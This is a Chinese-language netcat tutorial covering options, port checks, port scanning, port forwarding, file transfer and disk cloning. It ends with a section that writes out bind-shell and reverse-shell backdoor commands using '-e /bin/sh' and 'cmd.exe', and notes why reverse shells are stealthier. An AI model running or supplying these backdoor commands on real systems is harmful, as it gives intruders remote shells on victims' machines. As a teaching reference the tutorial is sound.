netcat使用方法简介

netcat(通常缩写为nc)是一种计算机联网实用程序,用于使用TCP或UDP读写网络连接。 该命令被设计为可靠的后端,可以直接使用或由其他程序和脚本轻松驱动。 同时,它是功能丰富的网络调试和调查工具,因为它可以产生用户可能需要的几乎任何类型的连接,并具有许多内置功能。netcat被称为网络工具中的瑞士军刀,体积小巧,但功能强大。

使用帮助

选项 是否有“选项值” 说明
h NO 输出 nc 的帮助
v NO 在网络通讯时,显示详细的输出信息。注:建议新手多用该选项,出错时帮你诊断问题
n NO 对命令行中的“主机”,【不】进行域名解析。注:如果“主机”是“点分格式”的 IP 地址,需要用该选项;如果“主机”是“域名”形式,【不能】用该选项
p YES 指定“端口号”
l NO 开启“监听模式”,nc 作为【服务端】。注:如不加该选项,nc 默认作为客户端
u NO 使用 UDP 协议。注:如不加该选项,默认是 TCP 协议
w YES 设置连接的超时间隔(N 秒)
q YES 让 nc 延时(N 秒)再退出
z NO 开启“zero-I/O 模式”。注:该选项仅用于“端口扫描”,后面会聊到
k NO 配合 -l 选项使用,可以重复接受客户端连接。注:“原版 nc”的该选项用来开启“TCP keepalive”。这是“原版 nc”与“OpenBSD 变种”之间的差异之一
X YES 指定代理的类型(具体用法,后面会聊到)。注:“原版 nc”【没有】该选项。这是“原版 nc”与“OpenBSD 变种”之间的差异之一
x YES 以 IP:port 的格式指定代理的位置。注:“原版 nc”【没有】该选项。这是“原版 nc”与“OpenBSD 变种”之间的差异之一
e YES 启动某个进程,把该进程的“标准输入输出”与网络通讯【对接】。注:通常用该选项开启一个网络后门。“OpenBSD 变种”基于安全考虑,已去掉该选项,但还是能用间接的方式达到同样的效果。

典型示例

网络诊断

测试某个远程主机的【监听】端口是否可达

用如下命令可以测试某个 IP 地址(x.x.x.x)上的某个监听端口(xx)是否开启。

1
2
nc -nv x.x.x.x xx
nc -nv -w 3 x.x.x.x xx

上述命令用到了如下几个选项:

  • 选项 -v

如果你是 nc 的新手,建议总是带上这个选项——通过更详细的输出,能帮你搞明白状况。

  • 选项 -n

由于测试的是【IP 地址】,用该选项告诉 nc,【无须】进行域名(DNS)解析;反之,如果你要测试的主机是基于【域名】,就【不能】用“选项 -n”。

  • 选项 -w

在测试链接的时候,如果你【没】使用 -w 这个超时选项,默认情况下 nc 会等待很久,然后才告诉你连接失败。

如果你所处的网络环境稳定且高速(比如:局域网内),那么,你可以追加“-w 选项”,设置一个比较小的超时值。

判断防火墙是否“允许 or 禁止”某个端口

在“主机S”上运行 nc,让它在 8080 端口,命令如下:

1
nc -lv -p 8080

然后在“主机C”上运行 nc,测试“主机S”上的 8080 端口是否可达。

1
nc -nv x.x.x.x xx
  • 选项 -l

这个选项会让 nc 进入监听模式。

  • 选项 -p

这个选项有“选项值”,也就是具体端口号。

  • 选项 -k

在默认情况下,nc 开启 listen 模式充当服务端,在接受【第一次】客户端连接之后,就会把监听端口关闭。

如果你想要让 nc 始终监听模式,使之能【重复】接受客户端发起的连接,可以追加 -k 选项。

  • 选项 -u

如果你要测试 UDP 协议,要记得【两边】的 nc 都要追加 -u 选项。

渗透测试

用 nc 进行“端口扫描”

下面这个命令,用来扫描 IP 地址为 x.x.x.x 的主机,扫描的端口范围从 1 到 1024。

1
2
nc -znv x.x.x.x 1-1024
nc -znv x.x.x.x 1-1024 2>&1 | grep succeeded
  • 选项 -z

意思是:开启“zero-I/O 模式”。该模式指的是:nc 只判断某个监听端口是否能连上,连上后【不】与对端进行数据通讯。

  • 选项 -n

  • 选项 -v

由于“-v 选项”产生的输出位于【stderr】,上述命令中的 2>&1 用来把【stderr】合并到【stdout】(注:这种写法只适用于 POSIX 系统上的 shell)。

grep 命令用来进行【过滤】。对于 Windows 系统,默认【没有】grep 命令,需改用 find 命令过滤。

网络配置

基于 nc 的端口转发(Port Forward)

用 nc 进行端口转发,需要运行【两个】nc 进程,一个充当“服务端”,另一个是“客户端”,然后用【管道】让把两个进程的“标准输入输出”交叉配对。所谓的“交叉配对”就是——每一个 nc 进程的“标准输出”都【对接】到另一个 nc 进程的“标准输入”。如此一来,就可以完美地建立【双向通讯】。

运行下面命令之后,就可以把本机的 1235 端口重定向到本机的 5678 端口。

1
2
mkfifo nc_pipe
nc -l -p 1234 < nc_pipe | nc 127.0.0.1 5678 > nc_pipe

系统管理

用 nc 传输文件

假设你有两台主机 A 与 B,你要把 A 主机上的文件 file1 传输到 B 主机上,保存为 file2

你先在【接收端】(B 主机)运行如下命令(其中的 xxx 是端口号)

1
nc -l -p xxx > file2

然后在【发送端】(A 主机)运行如下命令。

1
nc x.x.x.x xxx < file1

第二条命令中的 xxx 是端口号,要与第一条命令中的端口号相同;第二条命令中的 x.x.x.x 是【主机 B】的 IP 地址。

用 nc 传输文件,相当于是:直接在【裸 TCP】层面传输。你可以通俗理解为:【没有】应用层。如果你传输的文件【超级大】或者文件数量【超级多】,用 nc 传输文件的性能优势会很明显(相比“FTP、SSH、共享目录…”而言)

用 nc 远程备份整个磁盘

你先在【接收端】(B 主机)运行如下命令(其中的 xxx 是端口号)

1
nc -l -p xxx | dd of=/dev/sdb

然后在【发送端】(A 主机)运行如下命令。

1
dd if=/dev/sda | nc x.x.x.x xxx

网络入侵

用 nc 开启【被动】连接型后门

  • 在受害者机器上开启后门
1
2
nc.exe -l -p xxx -e cmd.exe
nc -l -p xxx -e /bin/sh

后门创建好之后,攻击者在自己机器上也运行 nc(客户端 nc),然后连接到作为后门的 nc(服务端 nc)。一旦连上之后,攻击者就可以在自己的 nc 上看到对方(受害者机器)的 shell 提示符。

  • 防范措施

NAT 模式的虚拟机(Guest OS)

NAT 的好处在于【单向可见】。也就是说,Guest OS 可以访问到物理系统(Host OS)【外部】的网络环境;但外部网络环境只能看到 Host OS,看不到 Guest OS。

在这种配置下,就算某个入侵者完全控制了你的 Guest OS,他/她也【没】办法在 Guest OS 中搭建“被动连接型后门”。换句话说,即使入侵者运行了这种后门,(但由于 NAT 的缘故)后门【无法】接受外部网络的连接,这个后门就【失去意义】。

用 nc 开启【主动】连接型后门

  • 攻击者在自己机器上运行“服务端 nc”
1
2
3
nc -lk -p xxx
nc.exe -e cmd.exe x.x.x.x xxx
nc -e /bin/sh x.x.x.x xxx

(在上述两个命令中, xxx 是步骤1用到的端口号,x.x.x.x 是攻击者的 IP 地址)

  • 防范措施

【隔离模式】的虚拟机

  • 【主动】连接型后门的优势之处

简单对比一下“后门的两种连接方式”。

可用性

如果用“被动型后门”入侵桌面 PC,考虑到绝大部分桌面 PC 都处于内网(其网卡【并未】分配公网 IP)。对这种场景,攻击者需要与受害者在同一个局域网,才能与后门建立通讯。相比之下,“主动型后门”就【没有】这种弊端。

隐蔽性

“被动型后门”需要显式开启监听端口,很容易引起用户的怀疑,或引起杀毒软件的注意。相比之下,“主动型后门”就【没有】这个问题。

参考链接

  1. netcat,by wikipedia.
  2. NetCat使用指南,by Evilwing.